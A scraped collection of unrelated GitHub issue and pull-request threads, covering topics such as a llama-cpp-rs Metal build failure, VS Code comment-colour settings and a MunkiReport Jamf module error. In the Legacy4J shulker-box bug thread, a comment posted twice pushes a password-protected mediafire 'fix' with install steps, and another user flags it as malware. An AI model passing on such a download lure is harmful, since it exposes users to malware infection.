ggml_metal_init: ggm-common.h not found

I updated to the latest version of the library, as I needed to have the command-r architecture support, but the curent crates.io and main version currently crash on MacOS due to metal_hack breaking in the latest version of llama.cpp
The culprit is ggm-common.h which is not avaiable to the bundled shader. I have tried replacing the .h by it's actual content, prior to putting it inside the .m loader, but it's not as simple and is not going to be maintainable at all.
ggml_metal_init: error: Error Domain=MTLLibraryErrorDomain Code=3 "program_source:3:10: fatal error: 'ggml-common.h' file not found

I saw on the llama.cpp issues that this could be fixed by having the default.metallib built by the CMake project, but this would imply modifying the current build.rs heavily, and I have no CUDA compatible machine.

https://github.com/utilityai/llama-cpp-rs/commit/756646ccffaca8049198d81ab184d56083f9162d
Did this commit not fix the issue?
Does it fail to compile or does it crash?

Sadly it doesn't, I'm currently messing around with my own public fork which uses cmake to build everything, which kinda works. (only a small problem of trying to allocate a 80G compute buffer).
But I think I might have broken all CUDA builds doing so ...

Sadly it doesn't, I'm currently messing around with my own public fork which uses the cmake crate to build everything, which works !
I've been meaning to give this a try - I'd be happy to have a PR to this effect once it's ready. If you open a draft I can edit I can try to work on linux + cuda.

Sure ! Current edits are a bit hacky but this is my current impl https://github.com/Raphy42/llama-cpp-rs/commit/44b6da48bb8d3522c51aa86eba2ded4096672777
I need to dig deeper in the llama.cpp build system in order to make the build.rs nicer and more parametric

https://github.com/utilityai/llama-cpp-rs/pull/214

@Raphy42 does #221 fix it?

may be fixed on latest. Unable to test myself but #224 apparently fixes this, please let me know.

@Raphy42 does #221 fix it? (no llama_hack, unsure if needed if using cmake)

Yeah, "0.1.45" works out of the box for me, tested on gemma-7b and multiple llama-2 variants with the same inference speed from before !
Amazing job !

i just merged a PR. All credit to derrickpersson!
Glad it works!


compress images after downloading

webp images would allow for much storage savings. should we use a github actions workflow or add the compression procedure to the update script? i think it should be the latter

installed imgbot. not working rn...

implemented using github actions


[BugFix] Fix NullPointerException in CatalogMgr.java

Why I'm doing:
Fix NullPointerException in CatalogMgr.java
What I'm doing:
Fix NullPointerException in CatalogMgr.java
What type of PR is this:

[x] BugFix
[ ] Feature
[ ] Enhancement
[ ] Refactor
[ ] UT
[ ] Doc
[ ] Tool

Does this PR entail a change in behavior?

[ ] Yes, this PR will result in a change in behavior.
[x] No, this PR will not result in a change in behavior.

If yes, please specify the type of change:

[ ] Interface/UI changes: syntax, type conversion, expression evaluation, display information
[ ] Parameter changes: default values, similar parameters but with different default values
[ ] Policy changes: use new policy to replace old one, functionality automatically enabled
[ ] Feature removed
[ ] Miscellaneous: upgrade & downgrade compatibility, etc.

Checklist:

[ ] I have added test cases for my bug fix or my new feature
[ ] This pr needs user documentation (for new or modified features or behaviors)

[ ] I have added documentation for my new feature or new function

[ ] This is a backport pr

Bugfix cherry-pick branch check:

[ ] I have checked the version labels which the pr will be auto-backported to the target branch

[ ] 3.3
[ ] 3.2
[ ] 3.1
[ ] 3.0
[ ] 2.5

@immutablecodes  can you sign-off this PR by git commit -s

@immutablecodes can you sign-off this PR by git commit -s

done


Confirmed password not hidden

In the signup page in netflix clone, When I type the password it is replaced by dots as usual but when I confirm it it is not. I would like to work on this issue. I am a contributer at gssoc'22.

you can work on this issue @Girlwithasmile & Add a video on your PR so we can see your code works or not

@Girlwithasmile your hackathon completed? And you are free to complete this issue or I will close it?

Closing this issue bcoz no response from the contributor side


feat(api): use AsyncMessageDialog for non Linux, closes #7182

What kind of change does this PR introduce?

[ ] Bugfix
[x] Feature
[ ] Docs
[ ] New Binding issue #___
[ ] Code style update
[ ] Refactor
[ ] Build-related changes
[ ] Other, please describe:

Does this PR introduce a breaking change?

[ ] Yes, and the changes were approved in issue #___
[x] No

Checklist

[x] When resolving issues, they are referenced in the PR's title (e.g fix: remove a typo, closes #___, #___)
[x] A change file is added if any packages will require a version bump due to this PR per the instructions in the readme.
[ ] I have added a convincing reason for adding this feature, if necessary

Other information
Issue #7182
This patch is trying to follow how FileDialog deals with the async dialog. Non-Linux systems will use the AsyncMessageDialog.
Tested in macOS, Windows, and Linux. Only macOS will center the dialog.
Although the issue requests to center the dialog on the window, I think someone might want to center the dialog on the screen.

Gonna merge to next branch.
I'll open another PR after I pick to https://github.com/tauri-apps/tauri-plugin-dialog


Update classification management over cohort

This PR fixes a number of bugs in the way that classifications are saved and distributed over the cohort.

The other change I made was to change the repository services so that it no longer catches Throwable (it catches Exception instead).


[Bug/Glitch] Dyeing a shulker box replaces all the items inside it

Legacy4J Version
1.21-1.7.2
Mod Loader Version
Fabric Loader 0.16.2
Bug/Glitch Occurrence Context
How to produce:

Have 2 undyed shulker boxes
Put items of choice inside the 2 shulker boxes. For example: shulker box 1 contains coal while shulker box 2 contains diamond
Put shulker box 1 in the 1st slot of the inventory while shulker box 2 in the 2nd slot of the inventory
In the dye section, dye shulker box 2
shulker box 1 should now have diamond instead of coal

Crash Report
No response
What happened wrong?
When dyeing a shulker box while 2 shulker boxes are inside the inventory, it will replace the items inside the dyed shulker box with the items inside the undyed one. This can be avoided by using classic crafting instead

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

DO NOT DOWNLOAD EITHER FILE
these are malware files, NEVER trust anything that isnt from the repo or its owner

Fixed in version 1.7.3, thanks for reporting.


Add LLaMA 2 example for DirectML

This adds the LLaMA 2 optimizations for DirectML with examples, and a sample ChatApp that was inspired from this but stripped down to an MVP and customized for DirectML.
It also adds a "CompositePyTorchModel" which follows the same principle as the Composite Optimum model but for raw pytorch models instead.

For reference:
in the coming release of optimum, the optimum exporter can export only the merged models.
https://github.com/huggingface/optimum/pull/1257/files
Also, with nightly ort/optimum, Olive optimize llama2 as following:
https://github.com/microsoft/Olive/tree/main/examples/llama2

what's the difference between this one and OptimumModel? could we leverage OptimumModel or unify them? It seems the two class is similiar.

I decoupled OptimumModel and CompositePyTorch model. They look similar at first glance, but they don't have much in common aside from the model_components part. OptimumModel is a very lightweight class that only needs to return strings of the actual model names which get handled by optimum in its own conversion pass, whereas CompositePyTorch model is a container of multiple other PyTorchModels that get handled recursively in the main OnnxConversion pass.

what's the difference between this one and OptimumModel? could we leverage OptimumModel or unify them? It seems the two class is similiar.

I decoupled OptimumModel and CompositePyTorch model. They look similar at first glance, but they don't have much in common aside from the model_components part. OptimumModel is a very lightweight class that only needs to return strings of the actual model names which get handled by optimum in its own conversion pass, whereas CompositePyTorch model is a container of multiple other PyTorchModels that get handled recursively in the main OnnxConversion pass.

That's what I thought too when looking at the code.
On another note: I am thinking of removing the OptimumModel class entirely later. It is only used for OptimumConversion but I don't see a reason why we cannot just use PyTorchModel + hf_config and OptimumConversion + model_components as pass config.
There are other olive passes that also only support pytorch models with hf_config.


[BEAM-12017] initial implementation of combine and combine_first

Adds implementations for combine and combine_first for DeferredDataFrame and DeferredSeries

Thank you for your contribution! Follow this checklist to help us incorporate your contribution quickly and easily:

[ ] Choose reviewer(s) and mention them in a comment (R: @username).
[ ] Format the pull request title like [BEAM-XXX] Fixes bug in ApproximateQuantiles, where you replace BEAM-XXX with the appropriate JIRA issue, if applicable. This will automatically link the pull request to the issue.
[ ] Update CHANGES.md with noteworthy changes.
[ ] If this contribution is large, please file an Apache Individual Contributor License Agreement.

See the Contributor Guide for more tips on how to make review process smoother.

GitHub Actions Tests Status (on master branch)

See CI.md for more information about GitHub Actions CI.

Hi @TheNeuralBit,  Could you review it? tank you!

Hm how are you running the tests locally? I usually run python -m pytest apache_beam/dataframe/pandas_doctests_test.py.
Also what python version and pandas version are you using locally? Sometimes behavior changes between versions of pandas so the tests will pass with one version but not with another.

Oh, I see! I can run it now, thank you, I will fix this.

Run Python PreCommit

Thank you! Just a few suggestions

Thank you for the feedback! I make the changes you suggest, and if there is anything else I should change, please let me know.


Line comment characters not comment coloured

In most languages, both block comment delimiters and line comment delimiters are coloured the same.  Here, only block comment delimiters are.  Is that a bug?
If not, what do I do to configure the colour it uses?

The following settings control comment colors: ```
"editor.tokenColorCustomizations": {
"textMateRules": [
{
"scope": "comment.line.double-slash",
"settings": {
"foreground": "#555555"
}
},
{
"scope": "comment.block",
"settings": {
"foreground": "#555555"
}
},
{
"scope": "comment.block.punctuation.annotation, comment.block.annotation, comment.line.double-slash.punctuation.annotation, comment.line.double-slash.annotation",
"settings": {
"foreground": "#77AAAA"
}
},
{
"scope": "comment.block.todo, comment.line.double-slash.todo",
"settings": {
"foreground": "#77AAAA"
}
},
{
"scope": "comment.block.punctuation.annotation.note, comment.block.annotation.note, comment.line.double-slash.punctuation.annotation.note, comment.line.double-slash.annotation.note",
"settings": {
"foreground": "#779999"
}
},
{
"scope": "comment.block.note, comment.line.double-slash.note",
"settings": {
"foreground": "#597979"
}
},
{
"scope": "comment.block.punctuation.annotation.urgent, comment.block.annotation.urgent, comment.line.double-slash.punctuation.annotation.urgent, comment.line.double-slash.annotation.urgent",
"settings": {
"foreground": "#FF4444"
}
},
{
"scope": "comment.block.urgent, comment.line.double-slash.urgent",
"settings": {
"foreground": "#ff6f6f"
}
},
{
"scope": "comment.block.punctuation.annotation.nocheckin, comment.block.annotation.nocheckin, comment.line.double-slash.punctuation.annotation.nocheckin, comment.line.double-slash.annotation.nocheckin",
"settings": {
"foreground": "#FF0000"
}
},
{
"scope": "comment.block.nocheckin, comment.line.double-slash.nocheckin",
"settings": {
"foreground": "#FF0000"
}
},
{
"scope": "comment.block.punctuation.annotation.release, comment.block.annotation.release, comment.line.double-slash.punctuation.annotation.release, comment.line.double-slash.annotation.release",
"settings": {
"foreground": "#9fc44b"
}
},
{
"scope": "comment.block.release, comment.line.double-slash.release",
"settings": {
"foreground": "#9fc44b"
}
},
{
"scope": "comment.block.signature,  comment.line.double-slash.signature, comment.block.punctuation.signature,  comment.line.double-slash.punctuation.signature",
"settings": {
"foreground": "#557777"
}
},
{
"scope": "comment.block.punctuation.checklist.brackets.todo, comment.line.double-slash.punctuation.checklist.brackets.todo",
"settings": {
"foreground": "#AA4444"
}
},
{
"scope": "comment.block.checklist.item.todo, comment.line.double-slash.checklist.item.todo",
"settings": {
"foreground": "#995555"
}
},
{
"scope": "comment.block.punctuation.checklist.brackets.partial, comment.block.punctuation.checklist.mark.partial, comment.line.double-slash.punctuation.checklist.brackets.partial, comment.line.double-slash.checklist.mark.partial",
"settings": {
"foreground": "#998844"
}
},
{
"scope": "comment.block.checklist.item.partial, comment.line.double-slash.checklist.item.partial",
"settings": {
"foreground": "#886655"
}
},
{
"scope": "comment.block.punctuation.checklist.brackets.done, comment.block.punctuation.checklist.mark.done, comment.line.double-slash.punctuation.checklist.brackets.done, comment.line.double-slash.punctuation.checklist.mark.done",
"settings": {
"foreground": "#557755"
}
},
{
"scope": "comment.block.backquoted",
"settings": {
"foreground": "#888888"
}
},
{
"scope": "comment.line.double-slash.backquoted",
"settings": {
"foreground": "#888888"
}
},

Thanks heaps (c:

Also, is there a list somewhere of all the things that can be configured?

Hmm.  Tried setting all of those to the same green in settings.json and nothing changed.  What did I miss?

Here's all my settings.  If you want to see the grammar scopes list for the current cursor position, hit ctrl-shift-p and type "dev": pick Developer: Inspect Editor Tokens and Scopes.
"editor.tokenColorCustomizations": {
    "textMateRules": [
        {
            "scope": "comment.line.double-slash",
            "settings": {
                "foreground": "#555555"
            }
        },
        {
            "scope": "comment.block",
            "settings": {
                "foreground": "#555555"
            }
        },
        {
            "scope": "comment.block.punctuation.annotation, comment.block.annotation, comment.line.double-slash.punctuation.annotation, comment.line.double-slash.annotation",
            "settings": {
                "foreground": "#77AAAA"
            }
        },
        {
            "scope": "comment.block.todo, comment.line.double-slash.todo",
            "settings": {
                "foreground": "#77AAAA"
            }
        },
        {
            "scope": "comment.block.punctuation.annotation.note, comment.block.annotation.note, comment.line.double-slash.punctuation.annotation.note, comment.line.double-slash.annotation.note",
            "settings": {
                "foreground": "#779999"
            }
        },
        {
            "scope": "comment.block.note, comment.line.double-slash.note",
            "settings": {
                "foreground": "#597979"
            }
        },
        {
            "scope": "comment.block.punctuation.annotation.urgent, comment.block.annotation.urgent, comment.line.double-slash.punctuation.annotation.urgent, comment.line.double-slash.annotation.urgent",
            "settings": {
                "foreground": "#FF4444"
            }
        },
        {
            "scope": "comment.block.urgent, comment.line.double-slash.urgent",
            "settings": {
                "foreground": "#ff6f6f"
            }
        },
        {
            "scope": "comment.block.punctuation.annotation.nocheckin, comment.block.annotation.nocheckin, comment.line.double-slash.punctuation.annotation.nocheckin, comment.line.double-slash.annotation.nocheckin",
            "settings": {
                "foreground": "#FF0000"
            }
        },
        {
            "scope": "comment.block.nocheckin, comment.line.double-slash.nocheckin",
            "settings": {
                "foreground": "#FF0000"
            }
        },
        {
            "scope": "comment.block.punctuation.annotation.release, comment.block.annotation.release, comment.line.double-slash.punctuation.annotation.release, comment.line.double-slash.annotation.release",
            "settings": {
                "foreground": "#9fc44b"
            }
        },
        {
            "scope": "comment.block.release, comment.line.double-slash.release",
            "settings": {
                "foreground": "#9fc44b"
            }
        },
        {
            "scope": "comment.block.signature,  comment.line.double-slash.signature, comment.block.punctuation.signature,  comment.line.double-slash.punctuation.signature",
            "settings": {
                "foreground": "#557777"
            }
        },
        {
            "scope": "comment.block.punctuation.checklist.brackets.todo, comment.line.double-slash.punctuation.checklist.brackets.todo",
            "settings": {
                "foreground": "#AA4444"
            }
        },
        {
            "scope": "comment.block.checklist.item.todo, comment.line.double-slash.checklist.item.todo",
            "settings": {
                "foreground": "#995555"
            }
        },
        {
            "scope": "comment.block.punctuation.checklist.brackets.partial, comment.block.punctuation.checklist.mark.partial, comment.line.double-slash.punctuation.checklist.brackets.partial, comment.line.double-slash.checklist.mark.partial",
            "settings": {
                "foreground": "#998844"
            }
        },
        {
            "scope": "comment.block.checklist.item.partial, comment.line.double-slash.checklist.item.partial",
            "settings": {
                "foreground": "#886655"
            }
        },
        {
            "scope": "comment.block.punctuation.checklist.brackets.done, comment.block.punctuation.checklist.mark.done, comment.line.double-slash.punctuation.checklist.brackets.done, comment.line.double-slash.punctuation.checklist.mark.done",
            "settings": {
                "foreground": "#557755"
            }
        },
        {
            "scope": "comment.block.backquoted",
            "settings": {
                "foreground": "#888888"
            }
        },
        {
            "scope": "comment.line.double-slash.backquoted",
            "settings": {
                "foreground": "#888888"
            }
        },
        {
            "scope": "markup.quote.comment",
            "settings": {
                "foreground": "#333333"
            }
        },
        {
            "scope": "punctuation.definition.comment",
            "settings": {
                "foreground": "#555555"
            }
        },
        {
            "scope": "variable.annotation",
            "settings": {
                "foreground": "#7469a1"
            }
        },
        {
            "scope": "variable.annotation.parameter",
            "settings": {
                "foreground": "#7d7799"
            }
        },
        {
            "scope": "punctuation.section.parens.annotation",
            "settings": {
                "foreground": "#7469a1"
            }
        },
        {
            "scope": "punctuation.definition.annotation",
            "settings": {
                "foreground": "#7469a1"
            }
        },
        {
            "scope": "keyword.declaration",
            "settings": {
                "foreground": "#a38888"
            }
        },
        {
            "scope": "keyword.operator",
            "settings": {
                "foreground": "#a38888"
            }
        },
        {
            "scope": "keyword.operator.pointer",
            "settings": {
                "foreground": "#a38888"
            }
        },
        {
            "scope": "keyword.other",
            "settings": {
                "foreground": "#d38686"
            }
        },
        {
            "scope": "keyword.other.directive",
            "settings": {
                "foreground": "#bba337"
            }
        },
        {
            "scope": "keyword.control",
            "settings": {
                "foreground": "#d38686"
            }
        },
        {
            "scope": "keyword.control.jump, keyword.other.directive.asm",
            "settings": {
                "foreground": "#be5a5a"
            }
        },
        {
            "scope": "keyword.declaration.struct",
            "settings": {
                "foreground": "#d38686"
            }
        },
        {
            "scope": "keyword.declaration.enum",
            "settings": {
                "foreground": "#d38686"
            }
        },
        {
            "scope": "keyword.declaration.union",
            "settings": {
                "foreground": "#d38686"
            }
        },
        {
            "scope": "keyword.control.cast",
            "settings": {
                "foreground": "#d38686"
            }
        },
        {
            "scope": "support.type",
            "settings": {
                "foreground": "#9c673f"
            }
        },
        {
            "scope": "support.class",
            "settings": {
                "foreground": "#d69562"
            }
        },
        {
            "scope": "support.function",
            "settings": {
                "foreground": "#a07171"
            }
        },
        {
            "scope": "support.variable",
            "settings": {
                "foreground": "#a07171"
            }
        },
        {
            "scope": "storage.type",
            "settings": {
                "foreground": "#a87a45"
            }
        },
        {
            "scope": "storage.modifier",
            "settings": {
                "foreground": "#d38686"
            }
        },
        {
            "scope": "entity.name.enum",
            "settings": {
                "foreground": "#a87a45"
            }
        },
        {
            "scope": "entity.name.struct",
            "settings": {
                "foreground": "#a87a45"
            }
        },
        {
            "scope": "variable.other.declaration, variable.other.constant.declaration",
            "settings": {
                "foreground": "#cc9e58"
            }
        },
        {
            "scope": "variable.other",
            "settings": {
                "foreground": "#d3af86e7"
            }
        },
        {
            "scope": "variable.other.constant",
            "settings": {
                "foreground": "#d3af86e7"
            }
        },
        {
            "scope": "variable.enum",
            "settings": {
                "foreground": "#bb9161"
            }
        },
        {
            "scope": "variable.parameter",
            "settings": {
                "foreground": "#d3af86e7"
            }
        },
        {
            "scope": "punctuation",
            "settings": {
                "foreground": "#a88f73"
            }
        },
        {
            "scope": "punctuation.separator",
            "settings": {
                "foreground": "#7a6852"
            }
        },
        {
            "scope": "punctuation.terminator",
            "settings": {
                "foreground": "#757c50"
            }
        },
        {
            "scope": "punctuation.definition.generic",
            "settings": {
                "foreground": "#aa81b4"
            }
        },
        {
            "scope": "punctuation.section",
            "settings": {
                "foreground": "#8d8071"
            }
        },
        {
            "scope": "punctuation.section.braces",
            "settings": {
                "foreground": "#504232"
            }
        },
        {
            "scope": "entity.name.function",
            "settings": {
                "foreground": "#a88960"
            }
        },
        {
            "scope": "constant.language",
            "settings": {
                "foreground": "#bb9161"
            }
        },
        {
            "scope": "constant.numeric",
            "settings": {
                "foreground": "#bb9161"
            }
        },
        {
            "scope": "keyword.other.directive.string",
            "settings": {
                "foreground": "#546483"
            }
        },
        {
            "scope": "string.quoted",
            "settings": {
                "foreground": "#7d8ba3"
            }
        },
        {
            "scope": "string.unquoted",
            "settings": {
                "foreground": "#7d8ba3"
            }
        },
        {
            "scope": "punctuation.definition.string",
            "settings": {
                "foreground": "#546483"
            }
        },
        {
            "scope": "punctuation.definition.string.empty",
            "settings": {
                "foreground": "#7d8ba3"
            }
        },
        {
            "scope": "constant.other.stringdelimiter.here.embed",
            "settings": {
                "foreground": "#34155e"
            }
        },
        {
            "scope": "constant.other.stringdelimiter.here.embed.language",
            "settings": {
                "foreground": "#5d3e88"
            }
        },
        {
            "scope": "constant.other.stringdelimiter",
            "settings": {
                "foreground": "#504232"
            }
        },
        {
            "scope": "constant.character.escape",
            "settings": {
                "foreground": "#a07171"
            }
        },
        {
            "scope": "constant.other.placeholder, string.here keyword.operator.percent",
            "settings": {
                "foreground": "#b650b9"
            }
        },
        {
            "scope": "support.type.property-name",
            "settings": {
                "foreground": "#d3a168"
            }
        },
        {
            "scope": "keyword.other.directive.scope, keyword.other.main",
            "settings": {
                "foreground": "#6faf5f"
            }
        },
        {
            "scope": "entity.name.namespace",
            "settings": {
                "foreground": "#814b6e"
            }
        },
        {
            "scope": "entity.name.namespace.member",
            "settings": {
                "foreground": "#a87a45"
            }
        },
        {
            "scope": "keyword.control.import",
            "settings": {
                "foreground": "#8d6780"
            }
        },
        {
            "scope": "string-quoted.other.import",
            "settings": {
                "foreground": "#c793b6"
            }
        },
        {
            "scope": "constant.other.import",
            "settings": {
                "foreground": "#a74b88"
            }
        },
        {
            "scope": "punctuation.definition.string.import",
            "settings": {
                "foreground": "#573e4e"
            }
        },
        {
            "scope": "invalid.deprecated",
            "settings": {
                "foreground": "#dd2d68"
            }
        },
        {
            "scope": "punctuation.definition.string.deprecated",
            "settings": {
                "foreground": "#6e3e4e"
            }
        },
        {
            "scope": "string-quoted.other.deprecated",
            "settings": {
                "foreground": "#db5d87"
            }
        },
        {
            "scope": "support.type.property-name.json",
            "settings": {
                "foreground": "#b45f8e"
            }
        },
        {
            "scope": "punctuation.definition.dictionary.begin.json, punctuation.definition.dictionary.end.json",
            "settings": {
                "foreground": "#8253af"
            }
        },
        {
            "scope": "punctuation.definition.array.begin.json, punctuation.definition.array.end.json",
            "settings": {
                "foreground": "#4faa5b"
            }
        },
        {
            "scope": "source.guy, punctuation.equals.guy",
            "settings": {
                "foreground": "#9e9e9e",
                "foregroundx": "#859797"
            }
        },
        {
            "scope": "meta.namespace.guy",
            "settings": {
                "foreground": "#0b0b18"
            }
        },
        {
            "scope": "constant.other.label.guy, punctuation.label.guy",
            "settings": {
                "foreground": "#ca684a"
            }
        },
        {
            "scope": "constant.other.label.declaration.guy, punctuation.label.declaration.guy",
            "settings": {
                "foreground": "#db953f"
            }
        },
        {
            "scope": "constant.numeric.guy, punctuation.constant.guy",
            "settings": {
                "foreground": "#a1b4b4"
            }
        },
        {
            "scope": "constant.numeric.declaration.guy, punctuation.constant.declaration.guy",
            "settings": {
                "foreground": "#bdbdbd"
            }
        },
        {
            "scope": "variable.other.register.guy, punctuation.register.guy",
            "settings": {
                "foreground": "#a58d97"
            }
        },
        {
            "scope": "variable.other.declaration.register.guy, punctuation.register.declaration.guy",
            "settings": {
                "foreground": "#D38686"
            }
        },
        {
            "scope": "keyword.other.register.guy, keyword.other.register.guy punctuation.register.guy",
            "settings": {
                "foreground": "#76bdb9"
            }
        },
        {
            "scope": "keyword.other.register.zero.guy, punctuation.register.zero.guy",
            "settings": {
                "foreground": "#e66a6a"
            }
        },
        {
            "scope": "keyword.other.register.one.guy, punctuation.register.one.guy",
            "settings": {
                "foreground": "#b0b658"
            }
        },
        {
            "scope": "keyword.other.register.two.guy, punctuation.register.two.guy",
            "settings": {
                "foreground": "#759cd6"
            }
        },
        {
            "scope": "keyword.other.register.three.guy, punctuation.register.three.guy",
            "settings": {
                "foreground": "#bc8ed6"
            }
        },
        {
            "scope": "keyword.other.register.four.guy, punctuation.register.four.guy",
            "settings": {
                "foreground": "#56d1b2"
            }
        },
        {
            "scope": "keyword.other.register.five.guy, punctuation.register.five.guy",
            "settings": {
                "foreground": "#3eb395"
            }
        },
        {
            "scope": "keyword.other.register.six.guy, punctuation.register.six.guy",
            "settings": {
                "foreground": "#3ca188"
            }
        },
        {
            "scope": "keyword.other.register.seven.guy, punctuation.register.seven.guy",
            "settings": {
                "foreground": "#298883"
            }
        },
        {
            "scope": "keyword.control.jump.jmp.guy, keyword.control.jump.fwd.guy, keyword.control.jump.bck.guy, keyword.control.jump.call.guy, keyword.control.jump.ret.guy",
            "settings": {
                "foreground": "#c54b4b"
            }
        },
        {
            "scope": "keyword.other.guy",
            "settings": {
                "foreground": "#9e9e9e",
                "foregroundz": "#859797"
            }
        },
        {
            "scope": "keyword.other.directive.guy",
            "settings": {
                "foreground": "#b671b0"
            }
        },
        {
            "scope": "keyword.other.communication.guy",
            "settings": {
                "foreground": "#9e9e9e"
            }
        },
        {
            "scope": "keyword.other.cmp.guy",
            "settings": {
                "foreground": "#9e9e9e"
            }
        },
        {
            "scope": "keyword.other.action.guy",
            "settings": {
                "foreground": "#9e9e9e",
                "fontStyle": "underline"
            }
        },
        {
            "scope": "keyword.other.info.guy",
            "settings": {
                "foreground": "#9e9e9e"
            }
        },
        {
            "scope": "keyword.other.debug.guy",
            "settings": {
                "foreground": "#50bd46"
            }
        },
        {
            "scope": "variable.annotation.debug.guy",
            "settings": {
                "foreground": "#50bd46"
            }
        },
        {
            "scope": "punctuation.definition.annotation.begin.guy, punctuation.definition.annotation.end.guy, variable.annotation.guy",
            "settings": {
                "foreground": "#add885"
            }
        },
        {
            "scope": "punctuation.definition.annotation.begin.debug.guy, punctuation.definition.annotation.end.debug.guy",
            "settings": {
                "foreground": "#add885"
            }
        },
        {
            "scope": "keyword.operator.guy",
            "settings": {
                "foreground": "#c54b4b"
            }
        },
        {
            "scope": "keyword.operator.stringcount",
            "settings": {
                "foreground": "#4b74c7"
            }
        },
        {
            "scope": "comment.line.semicolon.guy, comment.line.semicolon.guy punctuation.comment.guy",
            "settings": {
                "foreground": "#555555"
            }
        },
        {
            "scope": "punctuation.separator.guy",
            "settings": {
                "foreground": "#ffffff",
                "fontStyle": "bold"
            }
        }
    ]
}

"Hmm. Tried setting all of those to the same green in settings.json and nothing changed. What did I miss?"
The highlighting can bug out, if you have paren or quotes in the comment I think

I'm looking at how_to\002_number_types.jai so I don't think it's that...

Might try restarting VSC

Aha: punctuation.definition.comment.  Thanx for the TIL too (c:  I'd never got round to configuring colours in VSC, but now I know how, I might just do that.

Might be good to have a page listing any scopes you added to make this easier for anyone else.  But as far as this goes I have what I need.
Meanwhile, do you happen to know how I discover what are valid inside settings?  So far I've found foreground and fontStyle but don't know what else is supported.


Fixed bug where in calling dialpad delete icon has a grey background

What
Fixed bug where in calling dialpad delete icon has a grey background
Why
https://skype.visualstudio.com/SPOOL/_workitems/edit/2985967
How Tested

@carocao-msft Could you add a screenshot showcasing how this looks in a dark theme?

@carocao-msft Could you add a screenshot showcasing how this looks in a dark theme?


Error 500 when client posts result to MuniReport

I have DEBUG enabled in my .env but that does not seem to help in this case. I have looked at apache2 logs and syslog but cannot spot nothing helpful there.
I am running Munkireport-PHP 5.8.0 on an Ubuntu server.
The client Mac is ending its run with the following.
    Need to update fan_temps (11KB)
    Need to update usage_stats (122KB)
    Need to update munkireport (2KB)
    Sending items (425KB)
    Status: 500
    Headers: {'Transfer-Encoding': 'Identity', 'Content-Type': 'text/html; charset=UTF-8', 'Connection': 'close', 'Server': 'Apache/2.4.58 (Ubuntu)', 'Date': 'Tue, 10 Sep 2024 17:49:35 GMT'}
ERROR: https://munkireport.mydomain.com/index.php?/report/check_in failed, HTTP returncode 500 (internal server error)
    ## Finished run

The following is the status page from MunkiReport, as you can see I have increased the upload size limits hoping that was the issue.

If there is a location I should look for a more detailed log file that would be much appreciated.

This is caused by a module. You will need to disable the modules on a test client until you can determine what module is causing the issue. Once determined, we can start troubleshooting that module.

Thanks @tuxudo I was starting to suspect that although my first thought had been it was contributing a larger result and hence my increasing to upload limits.
I will try the modules one at time tomorrow.

@tuxudo
You were right it was down to a module, your own tuxudo/jamf one in fact 😄
I had put place holder settings in my .env which were not valid and not updated them. However even after putting what I believe are now valid settings in place it is still failing. With no apparent log information it is hard to determine what is incorrect. I will investigate this further.

@tuxudo
I am still struggling apparently with the settings for your module. Firstly I can confirm php-curl is installed.
I added the five lines listed in your README and now have what I believe to be valid settings. If I have
JAMF_ENABLE="TRUE"
then I get the 500 error, if this is false or commented out then it succeeds in an upload but obviously without any Jamf data.
The next line is supposed to be the base URL for our Jamf server. This might be the cause. In our case we started off with an on-premise Jamf Pro installation which has a URL different and on a different port to a standard cloud Jamf Pro server. This URL obviously works for managing our Macs and has been moved to a Jamf Pro cloud instance, here is a sanitised copy of the URL.
JAMF_SERVER="https://my-old-server-name.mydomain.com:8443/"
The DNS record is a CNAME aka alias and points to mycompany.jamfcloud.com as instructed by Jamf and as mentioned works fine for admin login and MDM functions.
It is now using a certificate generated by Jamf which is valid as tested in a web-browser and from the fact all our devices work with it. I have however also tried
JAMF_VERIFY_SSL="FALSE"
For the username and password I created a dedicated user in Jamf Pro with Auditor access which I believe is READONLY, this did not work, I then tried my own full admin account, this also did not work. (In that both gave the 500 error.)
I don't know how your module communicates with Jamf Pro but if you are using the Jamf API then I know Jamf have changed the access method again. Does yours still work?
Doing the following in terminal works on the same Linux web server hosting MunkiReport but obviously is not using PHP.
curl -o file.html https://my-old-server-name.mydomain.com:8443/
My cloud hosted Jamf Pro is Version 11.7.1-t1721056075

I do not use the jamf module anymore. Be sure you are setting the JAMF_SERVER config item to the actual JSS server, not a CNAME or other DNS name.

@tuxudo
I had been previously instructed by Jamf to use the CNAME and the different port in order to leave already enrolled devices using the original address. However I just tested web login to it direct rather than via the CNAME and it does work to access the web admin page. HOWEVER I do have to use the non-standard port of 8443.
I therefore tried the direct non-CNAME address but with the non-standard port i.e. 8443 and it still fails. ☹
If you are able to point me to some log that might help with diagnostics that would be great.

@tuxudo
If in a web browser I accessing the jamfcloud site without specifying port 8443 I get the following error message displayed in the web browser.
Service Unavailable

Nether-the-less, I tried that in the .env and still get error 500. Using port 8443 and the correct Tennant name in a web browser works.
I agree that usually jamfcloud sites use 443 and not 8443 but if you originally setup Jamf Pro on premise then the on premise installer uses port 8443. When this is migrated to jamfcloud it migrates as port 8443 so that existing enrolled devices see exactly the same URL and hence do not loose connection. (Hence also the use of a CNAME.)
The following is from an official Jamf blog article about migrations.

There are three options for migration: standard, custom DNS and fresh start. A standard migration clones your current instance to the cloud and changes the URL of your instance, requiring all devices to re-enroll. The most popular option, custom DNS, allows you to redirect your Jamf URL behind the scenes without having to re-enroll your devices. This option requires you to have access to your DNS source. In some instances, a fresh start is the best option. This option has no prerequisites and involves no database migration. All devices are re-enrolled.

For direct API access the CNAME vs direct name should not matter but the PORT will matter.

Please contact your Jamf representative for the correct URL and port for accessing the API for your Jamf Cloud instance. Once that is obtained, MunkiReport should work properly.

@tuxudo
I have written shell scripts which call the Jamf api myself and run these from a Mac. For these the URL format I successfully used was https://my-server-name.mydomain.com:8443/
At the moment I am wondering if either PHP as a whole or your PHP code is being upset by the inclusion of the custom port.
My own shell script was happy enough with this and I was using the command line version of curl to do this not of course the PHP curl command.

I no longer use the jamf module and am not able to debug it. Pull requests are welcome on it to fix any issues you find. It was originally written with port options to be taken into account.

@tuxudo
Which of your files in the module does the actual connection to the Jamf server? I will as you suggest look at modifying it myself.

The Jamf module makes the connection

@tuxudo
